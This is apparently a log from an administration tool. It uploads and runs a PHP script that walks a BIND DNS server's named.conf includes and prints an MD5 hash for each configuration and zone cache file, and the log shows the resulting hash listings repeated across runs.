MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:58:55: Establishing a connection
2026-04-30 16:58:55: 

PUT: /tmp/pkp525313

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:58:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp525313; rm /tmp/pkp525313'

2026-04-30 16:58:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:58:56: Establishing a connection
2026-04-30 16:58:57: 

PUT: /tmp/pkp387381

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:58:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp387381; rm /tmp/pkp387381'

2026-04-30 16:58:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
